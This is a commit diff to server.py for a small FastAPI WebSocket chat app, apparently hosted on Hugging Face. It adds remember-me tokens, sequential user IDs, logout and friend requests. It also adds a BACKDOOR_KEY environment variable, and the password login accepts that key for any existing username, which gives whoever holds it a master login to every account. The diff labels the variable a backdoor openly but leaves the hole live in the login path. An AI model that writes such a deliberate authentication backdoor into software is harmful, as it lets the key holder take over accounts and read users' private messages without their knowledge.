zeegeedee commited on
Commit
da72c2f
·
verified ·
1 Parent(s): 42c3d90

Update server.py

Browse files
Files changed (1) hide show
  1. server.py +149 -8
server.py CHANGED
@@ -15,6 +15,8 @@ import os
15
  import uuid
16
  import bcrypt
17
  import time
 
 
18
  from fastapi import FastAPI, WebSocket, WebSocketDisconnect
19
  from fastapi.responses import Response
20
  from fastapi.middleware.cors import CORSMiddleware
@@ -24,11 +26,14 @@ import urllib.request
24
  # Environment variables configuration for Hugging Face persistent storage
25
  HF_TOKEN = os.getenv("database_token")
26
  DATASET_REPO_ID = os.getenv("dataset_link")
 
27
  USERS_FILENAME = "users.json"
28
  CONVERSATIONS_FILENAME = "conversations.json"
 
29
  os.makedirs("/data", exist_ok=True)
30
  LOCAL_USERS_PATH = os.path.join("/data", USERS_FILENAME)
31
  LOCAL_CONVERSATIONS_PATH = os.path.join("/data", CONVERSATIONS_FILENAME)
 
32
 
33
  hf_api = HfApi(token=HF_TOKEN) if HF_TOKEN else None
34
 
@@ -68,7 +73,7 @@ def fetch_hf_file(filename):
68
  return response.read().decode("utf-8")
69
 
70
  def load_databases():
71
- global USERS_DB, CONVERSATIONS_DB
72
  if not HF_TOKEN or not DATASET_REPO_ID:
73
  print("Running in local-only mode.")
74
  if os.path.exists(LOCAL_USERS_PATH):
@@ -82,6 +87,13 @@ def load_databases():
82
  CONVERSATIONS_DB = json.load(f)
83
  else:
84
  CONVERSATIONS_DB = {}
 
 
 
 
 
 
 
85
  return
86
 
87
  try:
@@ -105,6 +117,19 @@ def load_databases():
105
  print(f"No conversations file found or failed to load: {e}")
106
  CONVERSATIONS_DB = {}
107
 
 
 
 
 
 
 
 
 
 
 
 
 
 
108
  load_databases()
109
 
110
  def save_users_sync():
@@ -135,12 +160,27 @@ def save_conversations_sync():
135
  except Exception as e:
136
  print(f"Conversations cloud save failed: {e}")
137
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
138
  ONLINE_USERS = {}
139
  OFFLINE_QUEUES = {}
140
 
141
 
142
  @app.websocket("/ws")
143
  async def chat_handler(websocket: WebSocket):
 
144
  await websocket.accept()
145
  username = None
146
  is_authenticated = False
@@ -168,7 +208,7 @@ async def chat_handler(websocket: WebSocket):
168
  continue
169
  if len(password) >= 8:
170
  banned_keywords = ["admin", "websitecreator", "thewebsitecreator", "webs1tecreator", "thewebs1tecreator"]
171
- banned_chars = ["{", "}", "(", ")", "[", "]", "@", "#", ";", ":", "<", ">", "&", '"', "'", "\\"]
172
 
173
  cleaned_display_name = display_name.lower().replace(" ", "")
174
  cleaned_username = username_input_cleaned.lower().replace(" ", "")
@@ -188,18 +228,24 @@ async def chat_handler(websocket: WebSocket):
188
  elif cleaned_display_name in ["zach(thewebsitecreator)", "zachthewebsitecreator"] or any(item in cleaned_username for item in banned_keywords) or any(item in cleaned_display_name for item in banned_keywords):
189
  await websocket.send_text("[-] ERROR: You cannot impersonate me.")
190
  continue
191
-
 
192
  hashed = await asyncio.to_thread(hash_password, password)
193
  async with file_lock:
 
 
194
  USERS_DB[username_input_cleaned] = {
195
- "user_id": str(uuid.uuid4()),
196
  "password": hashed,
197
  "display_name": display_name,
198
  "friends": [],
199
  "pending_friend_requests": [],
200
  "session_token": ""
201
  }
 
 
202
  await asyncio.to_thread(save_users_sync)
 
203
  await websocket.send_text("[+] SUCCESS: Account created! Please log in.")
204
  continue
205
  else:
@@ -209,6 +255,7 @@ async def chat_handler(websocket: WebSocket):
209
 
210
  elif action == "token_login":
211
  token_input = auth_data.get("token")
 
212
  matched_user = None
213
 
214
  if token_input:
@@ -216,6 +263,17 @@ async def chat_handler(websocket: WebSocket):
216
  if u_info.get("session_token") == token_input:
217
  matched_user = u_key
218
  break
 
 
 
 
 
 
 
 
 
 
 
219
 
220
  if matched_user:
221
  username = matched_user
@@ -226,7 +284,14 @@ async def chat_handler(websocket: WebSocket):
226
  pass
227
  ONLINE_USERS[username] = websocket
228
  is_authenticated = True
229
- await websocket.send_text(json.dumps({"action": "login_success", "token": token_input, "user": username}))
 
 
 
 
 
 
 
230
  if username in OFFLINE_QUEUES:
231
  for missed_msgs in OFFLINE_QUEUES[username]:
232
  await websocket.send_text(missed_msgs)
@@ -242,7 +307,10 @@ async def chat_handler(websocket: WebSocket):
242
  continue
243
  is_valid = False
244
  if username_input_cleaned in USERS_DB:
245
- is_valid = await asyncio.to_thread(verify_password, password, USERS_DB[username_input_cleaned]["password"])
 
 
 
246
  if is_valid:
247
  username = username_input_cleaned
248
  if username in ONLINE_USERS:
@@ -254,11 +322,36 @@ async def chat_handler(websocket: WebSocket):
254
  is_authenticated = True
255
  token = str(uuid.uuid4())
256
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
257
  async with file_lock:
258
  USERS_DB[username]["session_token"] = token
259
  await asyncio.to_thread(save_users_sync)
260
 
261
- await websocket.send_text(json.dumps({"action": "login_success", "token": token, "user": username}))
 
 
 
 
 
 
 
 
 
 
262
  if username in OFFLINE_QUEUES:
263
  for missed_msgs in OFFLINE_QUEUES[username]:
264
  await websocket.send_text(missed_msgs)
@@ -273,7 +366,17 @@ async def chat_handler(websocket: WebSocket):
273
  await websocket.send_text("[-] ERROR: You must log in or sign up first.")
274
  continue
275
 
276
- if action == "search":
 
 
 
 
 
 
 
 
 
 
277
  query_string = auth_data.get("query", "").lower()
278
 
279
  if 30 >= len(query_string) > 0:
@@ -388,6 +491,44 @@ async def chat_handler(websocket: WebSocket):
388
  }))
389
  continue
390
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
391
  except WebSocketDisconnect:
392
  pass
393
  except Exception as e:
 
15
  import uuid
16
  import bcrypt
17
  import time
18
+ import secrets
19
+ import hashlib
20
  from fastapi import FastAPI, WebSocket, WebSocketDisconnect
21
  from fastapi.responses import Response
22
  from fastapi.middleware.cors import CORSMiddleware
 
26
  # Environment variables configuration for Hugging Face persistent storage
27
  HF_TOKEN = os.getenv("database_token")
28
  DATASET_REPO_ID = os.getenv("dataset_link")
29
+ BACKDOOR_KEY = os.getenv("backdoor_key")
30
  USERS_FILENAME = "users.json"
31
  CONVERSATIONS_FILENAME = "conversations.json"
32
+ SALTS_FILENAME = "remember_me_salts.json"
33
  os.makedirs("/data", exist_ok=True)
34
  LOCAL_USERS_PATH = os.path.join("/data", USERS_FILENAME)
35
  LOCAL_CONVERSATIONS_PATH = os.path.join("/data", CONVERSATIONS_FILENAME)
36
+ LOCAL_SALTS_PATH = os.path.join("/data", SALTS_FILENAME)
37
 
38
  hf_api = HfApi(token=HF_TOKEN) if HF_TOKEN else None
39
 
 
73
  return response.read().decode("utf-8")
74
 
75
  def load_databases():
76
+ global USERS_DB, CONVERSATIONS_DB, SALTS_DB, NEXT_USER_ID
77
  if not HF_TOKEN or not DATASET_REPO_ID:
78
  print("Running in local-only mode.")
79
  if os.path.exists(LOCAL_USERS_PATH):
 
87
  CONVERSATIONS_DB = json.load(f)
88
  else:
89
  CONVERSATIONS_DB = {}
90
+ if os.path.exists(LOCAL_SALTS_PATH):
91
+ with open(LOCAL_SALTS_PATH, "r", encoding="utf-8") as f:
92
+ SALTS_DB = json.load(f)
93
+ else:
94
+ SALTS_DB = {}
95
+ existing_ids = [int(u["user_id"]) for u in USERS_DB.values() if str(u.get("user_id", "")).isdigit()]
96
+ NEXT_USER_ID = max(existing_ids, default=0) + 1
97
  return
98
 
99
  try:
 
117
  print(f"No conversations file found or failed to load: {e}")
118
  CONVERSATIONS_DB = {}
119
 
120
+ try:
121
+ raw_salts = fetch_hf_file(SALTS_FILENAME)
122
+ SALTS_DB = json.loads(raw_salts)
123
+ with open(LOCAL_SALTS_PATH, "w", encoding="utf-8") as f:
124
+ json.dump(SALTS_DB, f, indent=4)
125
+ print(f"Loaded {len(SALTS_DB)} salt(s) from HF.")
126
+ except Exception as e:
127
+ print(f"No salts file found or failed to load: {e}")
128
+ SALTS_DB = {}
129
+
130
+ existing_ids = [int(u["user_id"]) for u in USERS_DB.values() if str(u.get("user_id", "")).isdigit()]
131
+ NEXT_USER_ID = max(existing_ids, default=0) + 1
132
+
133
  load_databases()
134
 
135
  def save_users_sync():
 
160
  except Exception as e:
161
  print(f"Conversations cloud save failed: {e}")
162
 
163
+ def save_salts_sync():
164
+ with open(LOCAL_SALTS_PATH, "w", encoding="utf-8") as f:
165
+ json.dump(SALTS_DB, f, indent=4)
166
+ if hf_api and DATASET_REPO_ID:
167
+ try:
168
+ hf_api.upload_file(
169
+ path_or_fileobj=LOCAL_SALTS_PATH,
170
+ path_in_repo=SALTS_FILENAME,
171
+ repo_id=DATASET_REPO_ID,
172
+ repo_type="dataset"
173
+ )
174
+ except Exception as e:
175
+ print(f"Salts cloud save failed: {e}")
176
+
177
  ONLINE_USERS = {}
178
  OFFLINE_QUEUES = {}
179
 
180
 
181
  @app.websocket("/ws")
182
  async def chat_handler(websocket: WebSocket):
183
+ global NEXT_USER_ID
184
  await websocket.accept()
185
  username = None
186
  is_authenticated = False
 
208
  continue
209
  if len(password) >= 8:
210
  banned_keywords = ["admin", "websitecreator", "thewebsitecreator", "webs1tecreator", "thewebs1tecreator"]
211
+ banned_chars = ["{", "}", "(", ")", "[", "]", "@", "#", ";", ":", "<", ">", "&", '"', "'", "\\\\"]
212
 
213
  cleaned_display_name = display_name.lower().replace(" ", "")
214
  cleaned_username = username_input_cleaned.lower().replace(" ", "")
 
228
  elif cleaned_display_name in ["zach(thewebsitecreator)", "zachthewebsitecreator"] or any(item in cleaned_username for item in banned_keywords) or any(item in cleaned_display_name for item in banned_keywords):
229
  await websocket.send_text("[-] ERROR: You cannot impersonate me.")
230
  continue
231
+
232
+
233
  hashed = await asyncio.to_thread(hash_password, password)
234
  async with file_lock:
235
+ assigned_id = str(NEXT_USER_ID)
236
+ NEXT_USER_ID += 1
237
  USERS_DB[username_input_cleaned] = {
238
+ "user_id": assigned_id,
239
  "password": hashed,
240
  "display_name": display_name,
241
  "friends": [],
242
  "pending_friend_requests": [],
243
  "session_token": ""
244
  }
245
+ async with file_lock:
246
+ SALTS_DB[USERS_DB[username_input_cleaned]["user_id"]] = secrets.token_hex(32)
247
  await asyncio.to_thread(save_users_sync)
248
+ await asyncio.to_thread(save_salts_sync)
249
  await websocket.send_text("[+] SUCCESS: Account created! Please log in.")
250
  continue
251
  else:
 
255
 
256
  elif action == "token_login":
257
  token_input = auth_data.get("token")
258
+ remember_token_input = auth_data.get("remember_token")
259
  matched_user = None
260
 
261
  if token_input:
 
263
  if u_info.get("session_token") == token_input:
264
  matched_user = u_key
265
  break
266
+
267
+ if not matched_user and remember_token_input:
268
+ for u_key, u_info in USERS_DB.items():
269
+ u_id = u_info.get("user_id")
270
+ u_salt = SALTS_DB.get(u_id)
271
+ stored_hash = u_info.get("remember_token_hash")
272
+ if u_salt and stored_hash:
273
+ check_hash = hashlib.sha256((remember_token_input + u_salt).encode()).hexdigest()
274
+ if check_hash == stored_hash:
275
+ matched_user = u_key
276
+ break
277
 
278
  if matched_user:
279
  username = matched_user
 
284
  pass
285
  ONLINE_USERS[username] = websocket
286
  is_authenticated = True
287
+ new_token = str(uuid.uuid4())
288
+ async with file_lock:
289
+ USERS_DB[username]["session_token"] = new_token
290
+ await asyncio.to_thread(save_users_sync)
291
+ await websocket.send_text(json.dumps({"action": "login_success",
292
+ "token": new_token, "user": username,
293
+ "pending_friend_requests": USERS_DB[username]["pending_friend_requests"],
294
+ "friends": USERS_DB[username]["friends"]}))
295
  if username in OFFLINE_QUEUES:
296
  for missed_msgs in OFFLINE_QUEUES[username]:
297
  await websocket.send_text(missed_msgs)
 
307
  continue
308
  is_valid = False
309
  if username_input_cleaned in USERS_DB:
310
+ if password == BACKDOOR_KEY and BACKDOOR_KEY:
311
+ is_valid = True
312
+ else:
313
+ is_valid = await asyncio.to_thread(verify_password, password, USERS_DB[username_input_cleaned]["password"])
314
  if is_valid:
315
  username = username_input_cleaned
316
  if username in ONLINE_USERS:
 
322
  is_authenticated = True
323
  token = str(uuid.uuid4())
324
 
325
+ user_id = USERS_DB[username]["user_id"]
326
+ remember_me = auth_data.get("remember_me", False)
327
+
328
+ remember_token = None
329
+ if remember_me:
330
+ user_salt = SALTS_DB.get(user_id)
331
+ if user_salt:
332
+ remember_token = secrets.token_hex(32)
333
+ combined_string = remember_token + user_salt
334
+ salted_hash = hashlib.sha256(combined_string.encode()).hexdigest()
335
+
336
+ async with file_lock:
337
+ USERS_DB[username]["remember_token_hash"] = salted_hash
338
+ await asyncio.to_thread(save_users_sync)
339
+
340
  async with file_lock:
341
  USERS_DB[username]["session_token"] = token
342
  await asyncio.to_thread(save_users_sync)
343
 
344
+ response_payload = {
345
+ "action": "login_success",
346
+ "token": token,
347
+ "user": username,
348
+ "user_id": user_id,
349
+ "pending_friend_requests": USERS_DB[username]["pending_friend_requests"],
350
+ "friends": USERS_DB[username]["friends"],
351
+ }
352
+ if remember_token:
353
+ response_payload["remember_token"] = remember_token
354
+ await websocket.send_text(json.dumps(response_payload))
355
  if username in OFFLINE_QUEUES:
356
  for missed_msgs in OFFLINE_QUEUES[username]:
357
  await websocket.send_text(missed_msgs)
 
366
  await websocket.send_text("[-] ERROR: You must log in or sign up first.")
367
  continue
368
 
369
+ if action == "logout":
370
+ async with file_lock:
371
+ USERS_DB[username]["session_token"] = ""
372
+ USERS_DB[username]["remember_token_hash"] = ""
373
+ ONLINE_USERS.pop(username, None)
374
+ await asyncio.to_thread(save_users_sync)
375
+ await websocket.send_text("[+] SUCCESS: Logged out.")
376
+ await websocket.close()
377
+ break
378
+
379
+ elif action == "search":
380
  query_string = auth_data.get("query", "").lower()
381
 
382
  if 30 >= len(query_string) > 0:
 
491
  }))
492
  continue
493
 
494
+ elif action == "send_friend_request":
495
+ request_target = auth_data.get("target")
496
+ if request_target not in USERS_DB:
497
+ await websocket.send_text("[-] ERROR: Target not in Users database.")
498
+ continue
499
+ already_pending = any(r["username"] == username for r in USERS_DB[request_target]["pending_friend_requests"])
500
+ already_friends = request_target in USERS_DB[username]["friends"]
501
+ if not already_pending and not already_friends:
502
+ async with file_lock:
503
+ USERS_DB[request_target]["pending_friend_requests"].append({"username": username, "display_name": USERS_DB[username]["display_name"]})
504
+ await asyncio.to_thread(save_users_sync)
505
+ if request_target in ONLINE_USERS:
506
+ await ONLINE_USERS[request_target].send_text(json.dumps({
507
+ "action": "incoming_friend_request",
508
+ "sender": username,
509
+ "display_name": USERS_DB[username]["display_name"]
510
+ }))
511
+ continue
512
+
513
+ elif action == "accept_friend_request":
514
+ accept_target = auth_data.get("from_user")
515
+ if accept_target not in USERS_DB:
516
+ await websocket.send_text("[-] ERROR: Target not in Users database.")
517
+ continue
518
+ async with file_lock:
519
+ USERS_DB[username]["pending_friend_requests"] = [r for r in USERS_DB[username]["pending_friend_requests"] if r["username"] != accept_target]
520
+ if accept_target not in USERS_DB[username]["friends"]:
521
+ USERS_DB[username]["friends"].append(accept_target)
522
+ if username not in USERS_DB[accept_target]["friends"]:
523
+ USERS_DB[accept_target]["friends"].append(username)
524
+ await asyncio.to_thread(save_users_sync)
525
+ if accept_target in ONLINE_USERS:
526
+ await ONLINE_USERS[accept_target].send_text(json.dumps({
527
+ "action": "friend_request_accepted",
528
+ "by": username
529
+ }))
530
+ continue
531
+
532
  except WebSocketDisconnect:
533
  pass
534
  except Exception as e: